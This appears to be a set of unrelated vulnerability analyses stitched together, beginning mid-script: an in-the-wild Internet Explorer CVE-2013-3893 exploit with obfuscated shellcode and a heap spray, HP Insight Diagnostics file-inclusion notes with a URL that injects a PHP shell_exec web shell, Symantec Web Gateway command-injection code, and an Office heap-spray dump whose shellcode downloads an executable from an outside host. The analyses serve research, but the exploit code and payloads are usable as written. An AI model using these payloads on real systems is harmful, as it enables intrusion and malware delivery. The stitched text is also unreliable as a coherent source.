true, false); fireOnThis.dispatchEvent(evObj); } else if (document.createEventObject) { x[1].fireEvent('onMouseOver'); fireOnThis.fireEvent('onclick'); x[1].fireEvent('onMouseOut'); } } function main() { if (readcookie()) return; ConVertData = window["\x75\x6e\x65\x73\x63\x61\x70\x65"]; var vbc = ("NewYoukv10ebNewYoukv4b5bNewYoukvc933NewYoukvb966NewYoukv01d9NewYoukv3480NewYoukv990bNewYoukvfae2NewYoukv05ebNewYoukvebe8NewYoukvffffNewYoukvcfffNewYoukvcbceNewYoukv50aaNewYoukv12fdNewYoukva9e8NewYoukvef12NewYoukv1295NewYoukv85efNewYoukvc712NewYoukv1291NewYoukvb9e7NewYoukvaf12NewYoukve618NewYoukvaa95NewYoukvab99NewYoukvec99NewYoukvc376NewYoukvc7c6NewYoukvf370NewYoukv9998NewYoukvc099NewYoukv3010NewYoukv9b99NewYoukv9999NewYoukv2010NewYoukv9b9dNewYoukv9999NewYoukv2810NewYoukv9b91NewYoukv9999NewYoukv7012NewYoukv6412NewYoukv9cf3NewYoukv71c0NewYoukv989dNewYoukv9999NewYoukv607bNewYoukvcc12NewYoukv1a99NewYoukv9c5bNewYoukvb872NewYoukv14c2NewYoukv62d4NewYoukvf6f1NewYoukv99f7NewYoukvf199NewYoukvebecNewYoukvf4f5NewYoukvc8cdNewYoukv6612NewYoukv12ccNewYoukv5f75NewYoukvf198NewYoukvc010NewYoukv5f98NewYoukv9cd8NewYoukv665aNewYoukv717bNewYoukv6643NewYoukv6666NewYoukv4112NewYoukv98f3NewYoukv71c0NewYoukv9953NewYoukv9999NewYoukv607bNewYoukv1c14NewYoukv9898NewYoukv9999NewYoukvf1c9NewYoukv9899NewYoukv9999NewYoukvcc66NewYoukv109dNewYoukv651cNewYoukv9999NewYoukv5e99NewYoukv9c1dNewYoukv9898NewYoukv9999NewYoukve9ecNewYoukvf8fdNewYoukv1d5eNewYoukv9c9cNewYoukv9998NewYoukved99NewYoukvb7fcNewYoukv5efcNewYoukv9c1dNewYoukv9890NewYoukv9999NewYoukvfce1NewYoukv9999NewYoukvcc12NewYoukv1a8dNewYoukv9c5bNewYoukvbf72NewYoukv14c2NewYoukv62d4NewYoukv6faaNewYoukvcfcfNewYoukv1c14NewYoukv9898NewYoukv9999NewYoukv14c9NewYoukv81dcNewYoukvcfc9NewYoukv12c8NewYoukvcc66NewYoukv7512NewYoukv985fNewYoukv10f1NewYoukv98c0NewYoukvd85fNewYoukv5a9cNewYoukv7b66NewYoukv4c71NewYoukv6666NewYoukv1266NewYoukv91ccNewYoukv5b1aNewYoukv729cNewYoukvc2aaNewYoukvd414NewYoukvcf62NewYoukv1c12NewYoukv9965NewYoukv9999NewYoukv1c5fNewYoukv9899NewYoukv9999NewYoukv5fbbNewYoukv9c1dNewYoukv9892NewYoukv9999NewYoukv14bbNewYoukv991cNewYoukv9998NewYoukvc999NewYoukv12c8NewYoukvcc66NewYoukv7512NewYoukv985fNewYoukv10f1NewYoukv98c0NewYoukvd85fNewYoukv5a9cNewYoukv7b66NewYoukv5171NewYoukv6666NewYoukv1266NewYoukv9934NewYoukv999bNewYoukv1299NewYoukv9d24NewYoukv999bNewYoukv1299NewYoukv912cNewYoukv999bNewYoukv1299NewYoukv1a7cNewYoukv8975NewYoukv9921NewYoukv6796NewYoukvaae6NewYoukv5a42NewYoukvccc8NewYoukvea12NewYoukv12a5NewYoukv87edNewYoukv9ae1NewYoukvcf6aNewYoukvef12NewYoukv9ab9NewYoukvaa6aNewYoukvd050NewYoukv34d8NewYoukv5a9aNewYoukv74aaNewYoukv2796NewYoukva389NewYoukved4fNewYoukv5891NewYoukv9e54NewYoukv739aNewYoukv72d9NewYoukva268NewYoukvecb6NewYoukvc77eNewYoukvf712NewYoukv9abdNewYoukvff72NewYoukvd512NewYoukv99d4NewYoukvf712NewYoukv9a85NewYoukv1272NewYoukv14ddNewYoukv9a99NewYoukv325aNewYoukvc0c4NewYoukv715aNewYoukv6708NewYoukv6666NewYoukvedabNewYoukv9508NewYoukv7ba0NewYoukv1ae4NewYoukvb6c8NewYoukv983bNewYoukvfc39NewYoukv520eNewYoukv10faNewYoukvd648NewYoukv4f19NewYoukv0336NewYoukvedf1NewYoukve9edNewYoukvb6a3NewYoukveeb6NewYoukveeeeNewYoukvefb7NewYoukvf5f0NewYoukvf8f5NewYoukvfefeNewYoukvf4f0NewYoukvf7f8NewYoukvf8f0NewYoukvf0b7NewYoukvb6edNewYoukvf4f0NewYoukvb6feNewYoukvf6fbNewYoukvf2f6NewYoukvb7eaNewYoukvf8faNewYoukv99fb"); var xbc = ConVertData(vbc.replace(/NewYoukv/g, "%u")); var a = new Array(); var ls = 0x100000 - (xbc.length * 2 + 0x01020); var bc = S(0x1c1c1c0c); var pad = S(0x1c1c1c0c); while (pad.length < 0x3000) pad += pad; bc = pad.substring(0, (0x1c0c - 0x24) / 2); var language; if (navigator.appName == 'Netscape') language = navigator.language; else language = navigator.browserLanguage; var myStr = ("NewYoukvef5bNewYoukv77c1NewYoukvf519NewYoukv77c1NewYoukv1118NewYoukv77c1NewYoukv3e25NewYoukv77c2NewYoukv746aNewYoukv77c3NewYoukv1c8cNewYoukv1c1cNewYoukv1c8cNewYoukv1c1cNewYoukv1000NewYoukv0000NewYoukv0040NewYoukv0000NewYoukv1c4cNewYoukv1c1cNewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv0000NewYoukv5ed5NewYoukv77c1NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090NewYoukv9090"); myStr = ConVertData(myStr.replace(/NewYoukv/g, "%u")); bc += myStr; bc += xbc; bc += S(0) + S(0); var b = S(0x1c1c1c0c); while (b.length < 0x10000) { b += b; } bc = bc + b; b = bc.substring(0, 0x10000 / 2); while (b.length < ls) { b += b; } var lh = b.substring(0, ls / 2); delete b; delete pad; lh = lh + xbc; for (var i = 0; i < 0x1c0; i++) a[i] = lh.substr(0, lh.length); setTimeout("trigger();", 1000); setcookie(); } main(); </SCRIPT> </BODY> </HTML>
Details
Crash
(a9c.998): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll - eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0 eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!DllGetClassObject+0xafd09: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:1c1c1c7c=????????
SPRAY HOW TO
0:008> db 1c1c1024 L1000 1c1c1024 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................ . . . 2023
Digging into the crash
0:008> kb ChildEBP RetAddr Args to Child 020bba84 63660eed 80020003 00176778 020bbaa4 mshtml!CElement::Doc+0x2 020bba94 63660f5a 00000000 00000348 020bbaf8 mshtml!CElement::GetAtomTable+0x10 020bbaa4 635b6bb7 033b49ac 00000003 00176701 mshtml!CCollectionCache::GetAtomFromName+0x15 020bbaf8 635e7b76 0023f4d8 033b49ac 00000003 mshtml!CCollectionCache::GetIntoAry+0x74 020bbb3c 635e7c20 0000000e 033b49ac 020bbc28 mshtml!CCollectionCache::GetDispID+0x13e 020bbb50 635d36b0 0023f4d8 0000000e 033b49ac mshtml!DispatchGetDispIDCollection+0x3f 020bbb78 63643d3e 03137230 033b49ac 10000003 mshtml!CElementCollectionBase::VersionedGetDispID+0x46 020bbbb8 633a9eb2 03137260 033b49ac 10000003 mshtml!PlainGetDispID+0xdc 020bbbe8 633a9e13 033b49ac 020bbc28 03137260 jscript!IDispatchExGetDispID+0xb7 020bbc04 633a9f17 008da788 020bbc28 00000003 jscript!GetDex2DispID+0x34 020bbc30 633a77ff 008da788 020bbc64 0000000c jscript!VAR::InvokeByName+0xeb 020bbc78 633a75bf 008da788 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a 020bbe0c 633a5ab0 020bbe24 020bbf6c 020bbf6c jscript!CScriptRuntime::Run+0x1f27 020bbef4 633a59f7 020bbf6c 00000000 008de830 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bbf40 633a5743 020bbf6c 00000000 008de830 jscript!ScrFncObj::Call+0x8f 020bbfbc 633a8bc7 008dc830 020be3b8 00000000 jscript!CSession::Execute+0x175 020bc0a4 633a8a35 008dc830 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8 020bc128 633a6d37 008dc830 00000000 00000001 jscript!NameTbl::InvokeEx+0x129 020bc168 633a6c75 008da788 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8 020bc1a4 63399186 008da788 00000001 00000001 jscript!IDispatchExInvokeEx+0x6a 020bc234 635fe083 020bc1f8 00000004 00000001 jscript!NameTbl::InvokeEx+0x372 020bc26c 635fdfab 02dc8a18 00000001 00000001 mshtml!CScriptCollection::InvokeEx+0x8a 020be2e0 63642f30 02d1e060 00002712 00000001 mshtml!CWindow::InvokeEx+0x6a9 020be308 63642eec 02d1e060 00002712 00000001 mshtml!CBase::VersionedInvokeEx+0x20 020be358 63643898 031371a0 00002712 00000001 mshtml!PlainInvokeEx+0xea 020be3c8 636435c4 02d17200 00002712 00000001 mshtml!COmWindowProxy::InvokeEx+0x338 020be3f0 63642f30 02d17200 00002712 00000001 mshtml!COmWindowProxy::subInvokeEx+0x26 020be418 63642eec 02d17200 00002712 00000001 mshtml!CBase::VersionedInvokeEx+0x20 020be468 633a6d37 0020d2e0 00002712 00000001 mshtml!PlainInvokeEx+0xea 020be4a8 633a6c75 008da788 00002712 00000409 jscript!IDispatchExInvokeEx2+0xf8 020be4e4 633a9cfe 008da788 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a 020be5a4 633a9d79 00002712 00000001 00000000 jscript!InvokeDispatchEx+0x98 020be5d0 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0x154 020be76c 633a5ab0 020be784 020be8cc 020be8cc jscript!CScriptRuntime::Run+0x2989 020be854 633a59f7 020be8cc 00000000 008de8d0 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020be8a0 633a5743 020be8cc 00000000 008de8d0 jscript!ScrFncObj::Call+0x8f 020be91c 633a8bc7 033a6348 020beb60 00000000 jscript!CSession::Execute+0x175 020bea04 633a8a35 033a6348 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8 020bea88 635c3039 033a6348 00000000 00000409 jscript!NameTbl::InvokeEx+0x129 020bead8 635c2f51 03182d38 033a6348 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e0 020bec04 636294ce 80010009 80011771 03137710 mshtml!CBase::InvokeEvent+0x213 020bed64 635f377c 03182d38 02d03060 03182d38 mshtml!CBase::FireEvent+0xe2 020beddc 6362b142 03182d38 02dc8f40 ffffffff mshtml!CElement::BubbleEventHelper+0x2e3 020bef40 63783dd6 63649344 00000000 02dc8f40 mshtml!CElement::FireEvent+0x2d1 020bf080 638e6827 03182d38 033b4b88 020bf0b8 mshtml!CElement::fireEvent+0x185 020bf0c8 636430c9 03182d38 008d8f80 031371d0 mshtml!Method_VARIANTBOOLp_BSTR_o0oVARIANTp+0xfb 020bf13c 6366418a 03182d38 80010452 00000001 mshtml!CBase::ContextInvokeEx+0x5d1 020bf18c 6362b6ce 03182d38 80010452 00000001 mshtml!CElement::ContextInvokeEx+0x9d 020bf1b8 63642eec 03182d38 80010452 00000001 mshtml!CElement::VersionedInvokeEx+0x2d 020bf208 633a6d37 03137620 80010452 00000001 mshtml!PlainInvokeEx+0xea 020bf248 633a6c75 008da788 80010452 00000409 jscript!IDispatchExInvokeEx2+0xf8 020bf284 633a9cfe 008da788 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a 020bf344 633a9f3c 80010452 00000001 00000000 jscript!InvokeDispatchEx+0x98 020bf378 633a77ff 008da788 020bf3ac 00000001 jscript!VAR::InvokeByName+0x135 020bf3c4 633a85c7 008da788 00000001 00000000 jscript!VAR::InvokeDispName+0x7a 020bf3f4 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0xce 020bf590 633a5ab0 020bf5a8 00000000 00000000 jscript!CScriptRuntime::Run+0x2989 020bf678 633a59f7 00000000 00000000 008de980 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf6c4 633a92f7 00000000 00000000 008de980 jscript!ScrFncObj::Call+0x8f 020bf748 633a6650 008defa8 008da788 00000001 jscript!NameTbl::InvokeInternal+0x137 020bf778 633a9c0b 008da788 00000000 00000001 jscript!VAR::InvokeByDispID+0x17c 020bf914 633a5ab0 020bf92c 020bfa74 020bfa74 jscript!CScriptRuntime::Run+0x2989 020bf9fc 633a59f7 020bfa74 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bfa48 633a5743 020bfa74 00000000 00000000 jscript!ScrFncObj::Call+0x8f 020bfac4 633a8bc7 008dedc0 020bfcd4 00000000 jscript!CSession::Execute+0x175 020bfbac 633a8a35 008dedc0 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8 020bfc30 633a9153 008dedc0 00000000 00000000 jscript!NameTbl::InvokeEx+0x129 020bfc58 636867fa 008dedc0 00000000 63633600 jscript!NameTbl::Invoke+0x70 020bfcec 6368675a 02d1e060 02decc60 00239040 mshtml!CWindow::ExecuteTimeoutScript+0x87 020bfd44 6368664a 02d1e060 02d1e0a2 020bfd78 mshtml!CWindow::FireTimeOut+0xb6 020bfd54 63686656 0000202b 020bfde0 6363c317 mshtml!CStackPtrAry<unsigned long,12>::GetStackSize+0xb6 020bfd78 7e418734 001005d8 00000011 0000202b mshtml!GlobalWndProc+0x183 020bfda4 7e418816 6363c317 001005d8 00000113 USER32!InternalCallWinProc+0x28 020bfe0c 7e4189cd 00000000 6363c317 001005d8 USER32!UserCallWinProcCheckWow+0x150 020bfe6c 7e418a10 020bfe94 00000000 020bfeec USER32!DispatchMessageWorker+0x306 020bfe7c 01252ec9 020bfe94 00000000 008d5d00 USER32!DispatchMessageW+0xf 020bfeec 011f48bf 001703f8 00000001 00150390 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 020bffa4 5de05a60 008d5d00 0fbc002f 020bffec IEFRAME!LCIETab_ThreadProc+0x2c1 020bffb4 7c80b713 00150390 00000001 0fbc002f iertutil!CIsoScope::RegisterThread+0xab 020bffec 00000000 5de05a52 00150390 00000000 kernel32!BaseThreadStart+0x37
Crashing here in IE8 XP SP3
.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const .text:6363FCC4 mov eax, [ecx] .text:6363FCC6 mov edx, [eax+70h] .text:6363FCC9 call edx .text:6363FCCB mov eax, [eax+0Ch] .text:6363FCCE retn
References
Technical Analysis
Exploit Hash: 203aa9b2439cfab4ff1678a227be9a9a
Information
CVE-2013-3893 is a use-after-free vulnerability that affects Internet Explorer versions 6/7/8/9/10/11.
It was initially found being exploited in Japan. A fix-it workaround is already available at the time
of the writing, no information on when Microsoft will release an official final to address the IE flaw.
A sample of the exploit (in the wild) can be found on VirusTotal, scrumware.org, and jsunpack.
The exploit in the wild is written to target IE8/9, Win XP and Windows 7. Under Win XP, the code is
specifically tweaked to work against languages including English, Chinese, Japanese, Korean, although
its fingerprinting code actually checks these languages: English, Chinese, French, German, Japanese,
Portuguese, Korean, and Russian. It is safe to say it’s designed to work against Windows machines in
Asia, hard to why other languages are fingerprinted but not tweaked. Either because the author was
lazy to test them, and the fingerprinting code was a lazy copy-and paste. Or, they can be exploited
successfully without any tweaks. Under Windows 7, Office 2007 is also required to engauge the target,
however the fingerprinting code also checks Office 2010, which seems rather unnecessary. The exploit
will attempt again and again until either the browser crashes, or indefinitely. After exploitation,
the exploit will set a cookie on the victim machine as a way to avoid hitting the same target again.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during
an event. An attacker first can setup two elements, where the second is the child of the first, and
then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to
require two setCapture() calls to trigger, one for the parent element, one for the child. When the
setCapture() call for the child element is called, it finally triggers the event, which allows the
attacker to cause an arbitrary memory release using document.write(), which in particular frees up
a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the
free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives
in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when
this function attempts to use this reference to call what appears to be a PrivateQueryInterface due
to the offset (0x00).
Technical Analysis
Environment:
Tested on both windows and linux (x32) platforms.
The installation requires HP Insight Diagnostics Online Edition & HP System
Management Homepage for Windows or Linux
Used HP System Management Homepage 7.2.0.14 and several versions of HP Insight
Diagnostics Online Edition from 9.1.0.4458 until 9.4.0-562. (Also tested from
branch 8).
VMWare
Unfortunately is not possible to execute HP Insight Diagnostics by default,
because it isn’t a supported manufacturer. The insight solution uses the
encrypted supportesystems.dat in order to have a list os fupported
manufacturers. A Decryptor class in Ruby has been programmed in order to decrypt
the orignal supportesystems.dat, after it a custom Manufacturer (VMWare) can be
added in order to execute HP Insight under VMware, then the file should be
encrypted again (The Decryptor class also allow to encrypt)
Access to the vulnerable components:
Access to the HP System Management Homepage should be granted in order to use
the vulnerable webapp installed with HP Insight. Anonymous access can be
configured for HP System Management Homepage, which would make this vuln
specially interesting.
Vulnerable components:
Both components hpdiags/frontend2/commands/saveCompareConfig.php and
hpdiags/frontend2/help/pageview.php are available after installation.
Vulnerabilities analysis:
CVE-2013-3575 has been found in code as expected, allowing for a restricted PHP
local file inclusion:
if (strpos($_GET['path'], '..') !== false || strpos($_GET['path'], '.htm') === false) exit('Invalid Path'); // append path to the help directory to ensure we are in the right spot $path = realpath(dirname(__FILE__) . '/' . $_GET['path']);
Later:
if (!isset($_GET['word'])) { include_once $path; }
But CVE-2013-3574 has not been found. Indeed the exploit vector published at the
original advisory:
https://<host>:2381/hpdiags/frontend2/commands/saveCompareConfig.php?filename=comparesurvey&target=winhardrive&device=&devicePath=C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/&category=all&advanced=yes&leftFile=surveybase.xml&leftFileName=<%3f=shell_exec($_REQUEST[0])%3b%3f>&rightFile=survey.lastwebsession.xml&rightFileName=-&changesOnly=yes&overwrite=yes
Is only available through a (guessing old) and unused (commented) FileSaver
class (hpdiags/frontend2/includes/filesaver.class.php):
/* <== Commented! class FileSaver { function doesFileExist($filename, $extension, $target, $mount, $device) { if ($target == 'winfloppy') $mount = 'a:/'; else if ($mount{strlen($mount)-1} != '/') $mount .= '/'; $filename .= ('.' . $extension); $filepath = ($mount . $filename); if ($target != 'winfloppy' && $target != 'winhardrive' && $target != 'hardrive') { $unmountDirectory = true; (cut)
But by using the new FileSaver class the exploit vector commented above isn’t available anymore. Even when still is possible save an array to a file:
function saveArrayToFile($filename, $extension, $devicePath, $array) { $filename = sprintf("%s.%s", $filename, $extension); $tempFileName = sprintf("%s.temp_%s", $filename, $extension, date("YmdHis")); $tempFilePath = FileSaver::saveArrayToTempDirectory($tempFileName, $array); $stdout = AIBridge::copyFileToSaveDevice($tempFilePath, $devicePath, $filename); $xml = new XMLDocument($stdout); if ($xml) { $document = $xml->document_element(); if ($document->tagname() == 'error') { FileSaver::log($document->get_content()); @ unlink($tempFilePath); return false; } else if ($document->tagname() != "success") { FileSaver::log($stdout); @ unlink($tempFilePath); return false; } } else { FileSaver::log("Invalid XML: $stdout"); @ unlink($tempFilePath); return false; } @ unlink($tempFilePath); return true; }
ButinthisimplementationtheAIBridgeclassisusedtocopythefiletoasavedevice:
$stdout = AIBridge::copyFileToSaveDevice($tempFilePath, $devicePath, $filename);
The AIBridge class is a way of passing commands to the hpdiagsai.exe (or
hpdiagsai) binary.
In order to make a copyFileToSaveDevice a copyFileToRemovableMediaDevice command
is issued. Unfortunately, the command isn’t available on windows:
[!] Command <?xml version="1.0" encoding="UTF-8"?> <copyFileToRemovableMediaDevice srcPath="C:/hp/hpsmh/session/php/comparesurvey.html.temp_html" devicePath="C:/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/" filename="comparesurvey.html"/>
[!] Response
<error>../../src/common/diagprocessmain.cpp(line 523), Invalid command</error>
And in linux a removable device should be provided:
2013-01-24 00:47:20
aicommand: IN:
<?xml version="1.0" encoding="UTF-8"?> <copyFileToRemovableMediaDevice srcPath="/opt/hp/hpsmh/session/php/comparesurvey.html.temp_html" devicePath="/opt/hp/hpsmh/data/htdocs/hpdiags/frontend2/help/" filename="comparesurvey.html"/> 2013-01-24 00:47:20 aicommand: OUD: <error>mount failed: source is not a block device (and a device was required).</error>
Technical Analysis
—\” >> logging”);
exec(“echo \“route >> logging\” >> networkScript”);
echo “executing script<br/>
”;
exec(“./networkScript”);
?>
</body>
</html>
Analysis of the command injection
echo “ifconfig eth0 netmask “. \(HTTP_POST_VARS["subnet"] ." ". \)HTTP_POST_VARS[“ip”] .“;” >> networkScript
“;” + payload.encoded + “;#”
**/spywall/network.php** ```php <?php require_once('includes/spywall_api.php'); /* $wan = 'eth0'; $lan = 'eth1'; $management = 'eth2'; $mon = 'eth3'; $savename = ''; $model = exec('cat /tmp/appliancemodel'); if ($model == '007' || $model == '009') { // different ethernet device numbers for these models $management = 'eth0'; $mon = 'eth3'; $wan = 'eth5'; $lan = 'eth6'; } */ $portMap = getPortMap(); $management = $portMap['mgmt']; $mon = $portMap['monitor']; $wan = $portMap['wan']; $lan = $portMap['lan']; $device = ''; if ($_POST['name'] == 'lan') { $device = $lan; $savename = 'LAN'; } else if ($_POST['name'] == 'wan') { $device = $wan; $savename = 'WAN'; } else if ($_POST['name'] == 'monitor') { $device = $mon; $savename = 'MON'; } else { $device = $management; $savename = 'MAN'; } if (strlen($device)) { // set autonegotiation, duplex (if it isn't set to unknown), // and speed (if it isn't set to unknown) exec("sudo /sbin/ethtool -s $device autoneg ". $_POST['auto'] .((isset($_POST['duplex']) && $_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .((isset($_POST['speed']) && $_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):'')); exec("sudo /bin/rm -f /home/admin/autoconfig". $savename); // save info to autoconfig file exec("echo \"/sbin/ethtool -s $device autoneg ". $_POST['auto'] .((isset($_POST['duplex']) && $_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .((isset($_POST['speed']) && $_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):'') ."\" > /home/admin/autoconfig". $savename); // echo "\"/sbin/ethtool -s $device autoneg ". $_POST['auto'] .(($_POST['duplex'] != 'unknown')?(" duplex ". $_POST['duplex']):'') .(($_POST['speed'] != 'unknown')?(" speed ". $_POST['speed']):'') ."\" > /home/admin/autoconfig". $savename; sleep(5); // we sleep because otherwise we get back before the changes take effect } ?> <script language="javascript"> window.location="admin_advanced.php";</script>
Technical Analysis
See #7
So what happens is that: 1. The function grabs the value 98 b8 ff ff from the trigger file at offset 00003320h. This DWORD value is translated as 0xffffb898. 2. The function grabs another byte (44) using movzx 3. In the loc_44153C77 loop, the function looks for the first byte of every DWORD starting at file offset 00003320h+4, until the counter runs out. By the time we're out of the loop, EAX is 0xffffeaec. So this also means that in the file, the chunk starting at 00003320h+4 is part of the algorithm used to calculate the heap size. 4. The HeapAllc size loaded is done with this: lea eax, [eax+ecx*2+8], where eax at this point is 0xffffeaec, ecx is 44. So what it's doing is: 0xffffeaec + 0x44 * 2 + 8, this gets us 0xffffeb7c in EAX 5. The final calculation of the HeapAlloc size is eax + esi (image length also obtained from the file), so that means 0xffffeb7c + 0x00001484, and on a 32-bit machine this ends up being: 00000000. 6. HeapAlloc attempts to allocate a buffer with size 0, but it'll throw you a chunk awright. 7. The same chunk is used for memcpy. This chunk contains a pointer that OGL!GdipCreatePath will use later. So since we have control of the source (JFIF data), we can overwrite OGL!GdipCreatePath's pointer, and have direct control of the CALL instruction. By using a heap spray, we can set up the memory layout and tell the CALL instruction where to go. # ActiveX heap spray The payload is basically a bin file from the ActiveX folder in the docx "file", in memory it looks like (see ActiveX1.bin for example):
0:000> dc 1539bde1+3+4 L100
1539bde8 08080808 08080808 08080808 08080808 …………….
1539bdf8 08080808 08080808 08080808 08080808 …………….
1539be08 08080808 08080808 08080808 08080808 …………….
1539be18 08080808 bcae6aeb 11c82761 0b6c2758 …..j..a’..X’l.
1539be28 67fe275e c9f22759 0000275c 0c000000 ^‘.gY’..\‘……
1539be38 30000000 00400000 0c000000 ea460000 …0..@…….F.
1539be48 0da42759 a0002759 00852762 a010275e Y’..Y’..b’..^‘..
1539be58 60122762 88792759 cfe7275b 0000275d b’.Y'y.['..]'..
1539be68 00240000 00000000 60120000 01b82759 ..$........
Y’..
1539be78 0000275e 92a20000 92672759 90902758 ^‘……Y’g.X’..
1539be88 7feb9090 41414141 41414141 41414141 ….AAAAAAAAAAAA
1539be98 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bea8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539beb8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bec8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bed8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bee8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bef8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
1539bf08 90909024 ffffe890 5ac0ffff 505379eb \(..........Z.ySP
1539bf18 56f38957 8b3c738b 01781e74 768b56de W..V.s<.t.x..V.v
1539bf28 31de0120 ad4149c9 3156d801 10be0ff6 ..1.IA...V1....
1539bf38 0874d638 0107cec1 f1eb40d6 755e3739 8.t......@..97^u
1539bf48 dd895ae5 01245a8b 0c8b66eb 1c5a8b4b .Z...Z\)..f..K.Z.
1539bf58 048beb01 abe8018b c7835f5e c35b5804 ……..^_…X[.
1539bf68 74e83880 e938800f 38800a74 800574cc .8.t..8.t..8.t..
1539bf78 1175eb38 90057881 74909090 55ff8908 8.u..x…..t…U
1539bf88 408de589 31e0ff05 408b64c0 0c408b30 …@…1.d.@0.@.
1539bf98 8b1c408b 788b0870 66008b20 00187f83 .@..p..x ..f….
1539bfa8 ec81f175 00000000 07c7e789 0c917432 u………..2t..
1539bfb8 390447c7 c7837de2 89630847 47c74fd1 .G.9.}..G.c..O.G
1539bfc8 afd6800c 1047c79a 213bcb58 8958036a ……G.X.;!j.X.
1539bfd8 505789fb ffff35e8 f87548ff 6c68df89 ..WP.5…Hu…hl
1539bfe8 6800006c 642e6e6f 6c727568 078b546d l..hon.dhurlmT..
1539bff8 ffff6be8 83c689ff 0fe80cc7 89ffffff .k…………..
1539c008 6c6468df 6c68006c 682e3233 6c656873 .hdll.hl32.hshel
1539c018 e8078b54 ffffff48 c783c689 feece810 T…H………..
1539c028 df89ffff 0550478b 0000019e 89fbc083 …..GP………
1539c038 c6895847 3846c931 4efb750e 752f3e80 GX..1.F8.u.N.>/u
1539c048 778946fa 50778b5c 01bfc681 c6830000 .F.w.wP……..
1539c058 60778920 00806856 478b0000 fefee804 .wVh.....G....
1539c068 8d57ffff 778b061c a4df895c 00ff7f80 ..W....w\.......
1539c078 315ff975 ff5151c9 77ff6077 478b5158 u._1.QQ.w
.wXQ.G
1539c088 fedae80c c931ffff ff515151 51516077 ……1.QQQ.w`QQ
1539c098 e810478b fffffec8 8b50c031 bde80847 .G……1.P.G…
1539c0a8 68fffffe 3a707474 796d2f2f 74616c66 …http://myflat
1539c0b8 2e74656e 2f6d6f63 63757262 2f335f65 net.com/bruce_3/
1539c0c8 776e6977 2e64726f 00657865 cccccccc winword.exe…..
The ActiveX control used for the spray:
Possible spray:
HKEY_CLASSES_ROOT\CLSID{1EFB6596-857C-11D1-B16A-00C0F0283628}
Microsoft TabStrip Control, version 6.0
C:\WINDOWS\system32\MSCOMCTL.OCX
ProgID: MSComctlLib.TabStrip.2
VersionIndependentprogID: MSComctlLib.TabStrip
0:000> r
eax=00001000 ebx=06ac3f90 ecx=000001d4 edx=04f7b600 esi=0012026c edi=1539beb0
eip=77535f87 esp=0011f658 ebp=0011f698 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ole32!CoGetStandardMarshal+0x17b3:
77535f87 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0011f698 77535f10 ole32!CoGetStandardMarshal+0x17b3
0011f6bc 77536f9a ole32!CoGetStandardMarshal+0x173c
0011f8b8 77536db7 ole32!CoGetStandardMarshal+0x27c6
0011f8f0 77536a40 ole32!CoGetStandardMarshal+0x25e3
0011f90c 77536c33 ole32!CoGetStandardMarshal+0x226c
0011f930 77536b2f ole32!CoGetStandardMarshal+0x245f
0011f980 39c98198 ole32!CoGetStandardMarshal+0x235b
001209c0 39c9959e mso!Ordinal4410+0x336
001209e0 77543ba1 mso!Ordinal4410+0x173c
00120a10 31dc38ed ole32!OleSave+0x52
00120a60 31dc35ab wwlib!DllGetLCID+0x4e7877
00120aa4 321bbb25 wwlib!DllGetLCID+0x4e7535
